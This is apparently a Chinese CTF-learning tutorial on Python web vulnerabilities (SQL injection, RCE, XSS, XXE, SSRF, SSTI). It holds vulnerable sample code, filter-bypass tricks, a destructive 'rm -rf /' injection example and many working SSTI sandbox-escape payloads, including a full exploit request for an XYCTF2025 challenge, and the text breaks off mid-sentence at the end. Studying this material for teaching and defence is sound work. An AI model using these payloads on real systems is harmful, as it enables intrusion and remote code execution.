共计 16138 个字符,预计需要花费 41 分钟才能阅读完成。
SQL注入(略)
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
cursor.execute(query)
攻击原理: 输入的 username
被拼接后,SQL变为:
SELECT * FROM users WHERE username='' OR 1=1 --' AND password='anything'
--
是SQL注释符,使后续条件失效,1=1
永远为真,导致查询返回所有用户数据。
防范方法:参数化查询
参数化查询(Prepared Statements) 是防御SQL注入的核心手段。通过将输入数据与SQL语句分离,确保用户输入仅被视为数据,而非可执行的代码。
1. 使用 ?
占位符(SQLite风格)
# 正确写法:使用参数化查询
safe_query = "SELECT * FROM users WHERE username=? AND password=?"
cursor.execute(safe_query, (username, password))
之前的文章又详细讲解,这里不再花过多时间
SQLite中的union注入
union select group_concat(name) from sqlite_master WHERE type='table'
Mysql中的union注入
union select group_concat(schema_name) from information_schema.schemata
RCE(略)
常见的执行命令模块和函数有
eval() #将字符串解析为 Python 表达式并执行
exec() #执行字符串或代码对象形式的 Python 代码。支持完整 Python 语法(如 if、函数定义等)
os.system() #功能执行系统命令。命令的输出会直接显示在控制台,但无法通过代码捕获。
os.popen() #执行传入的字符串命令,并返回一个文件对象通过该对象可以读取命令的输出内容。
subprocess.run() #启动子进程执行命令。支持控制输入/输出流。
subprocess.Popen() #同上
Notice:exec
允许多行字符串和;
,但eval
不允许。且exec不返回结果
如果URL为"http://evil.com|rm -rf / &
,进一步也可以控制服务器权限
CTF题目里面常见的命令执行操作ping
os.system('ping -n 4 %s' %ip)
动态调用实现
oper_type=__import__('os').system('sleep 5')
又比如使用eval
将字符串转字典
>>> json1="{'a':1}"
>>> eval(json1)
{'a': 1}
如果json1
可控也会造成RCE
subprocess是os模块的安全版,但使用不当依然会造成RCE
subprocess.run
的案例
def COMMAND(request):
if request.GET.get('ip'):
ip = request.GET.get('ip')
cmd = 'ping -n 4 %s' %shlex.quote(ip)
flag = subprocess.run(cmd, shell=False, stdout=subprocess.PIPE)
stdout = flag.stdout
return HttpResponse('<p>%s</p>' %str(stdout, encoding=chardet.detect(stdout)['encoding']))
else:
return HttpResponse('<p>请输入IP地址</p>')
关键字过滤
大小写绕过
字符拼接
单引号绕过
如:
__import__('o' + 's').sy' + 'stem'('whoami')
__import__('o''s').popen('whoa''mi').read()
__import__('Os').popen('whOami').read()
XSS(略)
XSS和SQL注入相同点都是对用户的输入参数没有过滤和正确引用,导致输出的时候造成代码注入到页面上
示例如下
name = request.GET.get('name')
return HttpResponse("<p>name: %s</p>" %name)
Django上的XSS示例
def XSS(request):
if request.GET.get('name'):
name = request.GET.get('name')
return HttpResponse("<p>name: %s</p>" %name)
Flask上的XSS示例
@app.route('/xss')
def XSS():
if request.args.get('name'):
name = request.args.get('name')
return Response("<p>name: %s</p>" %name)
过滤手段以及绕过
1.过滤空格
绕过手段:使用/
绕过
如:
<img/src="x"/onerroralert("xss");>
<!-- <img src="x" onerroralert("xss");> -->
2.过滤关键字
绕过手段
(1.大小写绕过
<ImG SrC=x onerror....
(2.字符拼接
利用top或者eval将字符拼接
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
其他绕过方式
编码绕过,如:
<img src="x" onerror="alert("xss");"> unicode编码
XXE
XXE漏洞原理
漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。
拓展:那么,什么是XML实体?
XML(Extensible Markup Language,可扩展标记语言)是一种用于存储和传输结构化数据的标记语言。
核心特点
- 可扩展性 用户可以自定义标签(如
<book>
、<price>
),无需依赖预定义标签,适合描述各种领域的数据。 - 结构化数据 通过嵌套的标签和属性组织数据,形成树状结构,适合表示复杂关系。
- 平台与语言无关 XML是纯文本格式,可被任何编程语言(如Java、Python)解析,支持跨系统数据交换。XML可以用于数据交换,服务配置等
在python中有三种方法解析XML:
- SAX
xml.sax.parse()
- DOM
xml.dom.minidom.parse()
xml.dom.pulldom.parse()
- ElementTree
xml.etree.ElementTree()
存在漏洞的示例代码
def xxe():
# tree = etree.parse('xml.xml')
# tree = lxml.objectify.parse('xml.xml')
# return etree.tostring(tree.getroot())
xml = b"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<channel>
<title>&xxe;</title>
<description>A blog about things</description>
</channel>"""
tree = etree.fromstring(xml)
return etree.tostring(tree)
此处利用file
协议读取服务器上的敏感文件,漏洞存在的原因是XMLparse
方法中resolve_entities
默认设置为True
,导致可以解析外部实体 一些版本比较低的第三方解析excel库内部是使用lxml模块实现的,采用的也是默认配置,存在XXE漏洞
XXE中的SSRF利用
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY wuhu SYSTEM "http://<url>/index.txt">
]>
<x>&wuhu;</x>
文件读取
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<x>&xxe;</x>
SSRF
原理:SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
python的可以造成这种问题的常用请求库:
- pycurl
- urllib
- urllib3
- requests
这里就以requests
为例
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/fetch')
def fetch():
url = request.args.get('url')
if url:
try:
response = requests.get(url)
return f"Response content ({url}): {response.text[:500]}" # 显示前500个字符
except Exception as e:
return f"Error fetching {url}: {str(e)}"
return 'Please provide URL parameter (?url=...)'
# 首页用于简单测试
@app.route('/')
def index():
return '''
<h1>SSRF 演示</h1>
<form action="/fetch">
<input type="text" name="url" value="http://example.com" size="50">
<input type="submit" value="Fetch">
</form>
'''
if __name__ == '__main__':
app.run(debug=True)
我们可以输入内网网址192.168.2.23等,从而实现访问在外网无法访问的服务器
不过requests有一个Adapter的字典,请求类型为http://或者https://,限制了file等其他协议的使用
拓展:SSRF中常用的url伪协议SSRF中的URL的伪协议_ssrf中url的伪协议-CSDN博客
file:/// 可以用于系统文件访问
sftp:// 安全文件传输协议,用于安全的传输文件
ldap:// 用于用户认证授权
tftp:// 简单文件传输协议
gopher://
[!NOTE]
拓展:gopher协议
gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。在CTF中对gopher协议考察也很多
例题:
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')
target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in target_url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")
@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")
return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")
if __name__ == '__main__':
app.run(debug=True)
[!NOTE]
添加@绕过URL拼接
平常我们传入的url是
url=http://127.0.0.1
,如果
我们传入的url是url=http://quan9i@127.0.0.1
,它此时依旧会访问127.0.0.1进制转换绕过‘.’过滤
将
127.0.0.1
进行转换,转换为其他进制的数从而绕过检测
进制转换结果如下0177.0.0.1 //八进制 0x7f.0.0.1 //十六进制 2130706433 //十进制
更多绕过方法:从一文中了解SSRF的各种绕过姿势及攻击思路_ssrf绕过-CSDN博客
SSTI
前置知识:
Python中的继承方法是面向对象编程的核心概念,允许子类获取父类的属性和方法,并支持扩展和重写。
python中的魔术方法(Magic)方法,是那些被__
包围的方法,在对象继承时,子类可以重写父类的魔术方法以实现定制功能,用于增强Python面向对象编程的能力。魔术方法在创建对象或对象操作时自动调用,不需要显式使用。
不同语言在使用模板渲染的时候都有可能存在模板注入漏洞,python中以flask为例:
def ssti():
if request.values.get('name'):
name = request.values.get('name')
template = "<p>%s<p1>" %name
return render_template_string(template)
else:
return render_template_string('<p>输入name值</p>')
其中大概有两个点是值得在意的,一个是格式化字符串,另一个是函数render_template_string
。其是这两个更像是配合利用,像这么使用就不会有这个问题
def safe():
if request.values.get('name'):
name = request.values.get('name')
template = "<p>{{ name }}<p1>"
return render_template_string(template, name=name)
else:
return render_template_string('<p>输入name值</p>')
问题出在格式化字符串上面,而非某个函数render_template_string
上,当前者传入{{config}}
时,会被模板当作合法语句来执行,而后者会把参数当作字符串处理而不进行相关解析。
为了安全模板引擎基本上都拥有沙盒环境,模板注入并不会直接解析python代码造成任意代码执行,所以想要利用SSTI一般还需要配合沙箱逃逸,例如
().__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('whoami')
其中__class__
属性直接访问它的类
__base__
用访问他的父类
__subclass__
用访问子类
…..(涉及python的魔术方法,为了节约时间不在一个一个讲)
除了__class__
外其他获取属性的方式
获取属性的方式
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")
[!NOTE]
沙盒环境的核心作用
- 限制代码执行范围
- 禁止模板直接调用系统级函数(如
os.system
、open
)或访问敏感模块(如subprocess
)。- 阻止执行任意系统命令(如
ls
、rm
)或文件读写操作。
- 隔离敏感数据
- 限制模板访问应用内部变量(如数据库连接信息、密钥)。
- 防止通过模板遍历对象继承链(如
__class__
、__globals__
)获取敏感数据。
- 阻断高危操作
- 禁用动态加载模块(如
__import__
)和反射操作(如getattr
)。- 禁止实例化危险类(如
os
、subprocess.Popen
)。
CTF中最喜欢考的就是过滤各种关键字,虽然对于jinjia2和djiango的模板注入有fenjing这样的一把梭工具
但我们还是要学会自己去了解了解(
{{((lipsum.__globals__.__builtins__.__import__('os')).popen('echo f3n j1ng;')).read()}}
例题1:SSTI-LAB1
例题2:SSTI-LAB2
例题3:SSTI-LAB3
无回显ssti,这种题与之前的题目其实类似,我们可以通过反弹shell或者类似于布尔盲注的方式读取flag
SSTI绕过
1. 双大括号过滤
{{和}}被过滤使用{%和%}绕过
{% print(''.__class__.__base__.__subclasses__()[60].__init__.__globals__['popen']('cat /flag').read()) %}
2. 无回显SSTI
反弹shell,查找出能调用popen函数的子类并执行代码连接我们的主机,运行脚本同时开启监听,实现反弹shell,Python脚本
3. 中括号过滤
魔术方法__getitem__
可代替中括号,绕过中括号过滤,payload:
# 当中括号被过滤时,如下将被限制访问
{{ ''.__class__.__base__.__subclasses__()['13'].['popen']('cat /flag') }}
# 可使用魔术方法__getitem__替换中括号[],payload如下:
{{ ''.__class__.__base__.__subclasses__().__getitem__(13).__getitem__('popen')('cat /flag') }}
4. 单双引号过滤
当单双引号被过滤后,可以使用get或者post传参输入需要带引号的内容,payload:
# 当单双引号被过滤后以下访问将被限制
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 可以通过request.args的get传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read() }}
同时get传参?popen=popen&cmd=cat /flag
# 也可以通过request.form的post传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read() }}
同时post传参?popen=popen&cmd=cat /flag
# 还可以使用cookies传参,如request.cookies.k1、request.cookies.k2、k1=popen;k2=cat /flag
5. 下划线过滤
当下划线被过滤后,可以使用过滤器输入下划线,如使用函数attr(),payload:
# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 使用过滤器函数attr(),将带下划线部分作为attr()函数的参数并使用get或post给attr()函数传参数,payload:
{{ ()|attr(request.form.p1)|attr(request.form.p2)|attr(request.form.p3)()|attr(request.form.p4)(117)|attr(request.form.p5)|attr(request.form.p6)|attr(request.form.p7)('popen')('cat /flag')|attr('read')() }}
同时post传参p1=__class__&p2=__base__&p3=__subclasses__&p4=__getitem__&p5=__init__&p6=__globals__&p7=__getitem__
# arrt()的参数也可以不用get或post传参,而将arrt()函数的参数进行unicode编码
或者使用16进制编码
# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 将下划线进行16位编码,payload:
{{ ()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[117]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat /flag').read() }}
6. 点过滤
使用中括号绕过点过滤,payload:
# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 使用过滤器arrt()函数绕过点过滤,payload:
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')() }}
综合绕过例题
XYCTF2025-Now you see me
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'
if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)
常规解法:
过滤了-
一般我们优先考虑request方法,可是我们可以发现常用的request方法几乎全部被过滤了

Flask开发手册里有一个方法

我们可以获取当前路由的函数名即r3al_ins1de_th0ught
进而可以拼出request.data
这样我们就可以绕过任意字符了
最后利用importlib.reload重载os模块
最后的payload
{%for%0ai%0ain%0arequest.endpoint|slice(1)%}{%set%0adat=i.9~i.2~i.12~i.2%}{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}{%set%0aa0%0a=%0ak.16~k.31~k.31~k.27~k.24~k.18~k.1
6~k.35~k.24~k.30~k.29%}{%set%0aa1%0a=%0ak.2~k.2~k.22~k.27~k.30~k.17~k.16~k.27~k.34~k.2~k.2%}{%set%0aa2%0a=%0ak.2~k.2~k.22~k.20~k.35~k.24~k.35~k.20~k.28~k.2~k.2%}{%set%0aa3%0a=%0ak.2~k.2~k.17~k.36~k.24~
k.27~k.35~k.24~k.29~k.34~k.2~k.2%}{%set%0aa4%0a=%0ak.2~k.2~k.24~k.28~k.31~k.30~k.33~k.35~k.2~k.2%}{%set%0aa5%0a=%0ak.34~k.36~k.17~k.31~k.33~k.30~k.18~k.20~k.34~k.34%}{%set%0aa6%0a=%0ak.30~k.34%}{%set%0
aa7%0a=%0ak.24~k.28~k.31~k.30~k.33~k.35~k.27~k.24~k.17%}{%set%0aa8%0a=%0ak.33~k.20~k.27~k.30~k.16~k.19%}{%set%0aa9%0a=%0ak.31~k.30~k.31~k.20~k.29%}{%set%0aa10%0a=%0ak.38~k.23~k.30~k.16~k.28~k.24%}{%set
%0aa11%0a=%0ak.33~k.20~k.16~k.19%}{%set%0asub=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a5)%}{%set%0aso=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a6)%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(sub))%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(so))%}{%print(so|attr(a9)(a10)|attr(a11)())%}{%endfor%}{%endfor%}
最后发送数据包成功RCE
GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%for%0ai%0ain%0arequest.endpoint|slice(1)%}{%set%0adat=i.9~i.2~i.12~i.2%}{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}{%set%0aa0%0a=%0ak.16~k.31~k.31~k.27~k.24~k.18~k.16~k.35~k.24~k.30~k.29%}{%set%0aa1%0a=%0ak.2~k.2~k.22~k.27~k.30~k.17~k.16~k.27~k.34~k.2~k.2%}{%set%0aa2%0a=%0ak.2~k.2~k.22~k.20~k.35~k.24~k.35~k.20~k.28~k.2~k.2%}{%set%0aa3%0a=%0ak.2~k.2~k.17~k.36~k.24~k.27~k.35~k.24~k.29~k.34~k.2~k.2%}{%set%0aa4%0a=%0ak.2~k.2~k.24~k.28~k.31~k.30~k.33~k.35~k.2~k.2%}{%set%0aa5%0a=%0ak.34~k.36~k.17~k.31~k.33~k.30~k.18~k.20~k.34~k.34%}{%set%0aa6%0a=%0ak.30~k.34%}{%set%0aa7%0a=%0ak.24~k.28~k.31~k.30~k.33~k.35~k.27~k.24~k.17%}{%set%0aa8%0a=%0ak.33~k.20~k.27~k.30~k.16~k.19%}{%set%0aa9%0a=%0ak.31~k.30~k.31~k.20~k.29%}{%set%0aa10%0a=%0ak.38~k.23~k.30~k.16~k.28~k.24%}{%set%0aa11%0a=%0ak.33~k.20~k.16~k.19%}{%set%0asub=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a5)%}{%set%0aso=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a6)%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(sub))%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(so))%}{%print(so|attr(a9)(a10)|attr(a11)())%}{%print(so|attr(a9)(a10)|attr(a11)())%}{%endfor%}{%endfor%} HTTP/1.1
Host: XXX
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 69
_ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/
可以看到这题还是很难得,但其实这里还有一个非预期打法(bai师傅打法)
出题人并没有注意到其实存在一个request.authorization(确实在开发手册里面藏得很深)
其实和之前的post或者get传参一样,只不过这里是通过anthorization头传入参数
最后也可以成功RCE,但是需要用importlib重载被删除的函数
你说得对,但是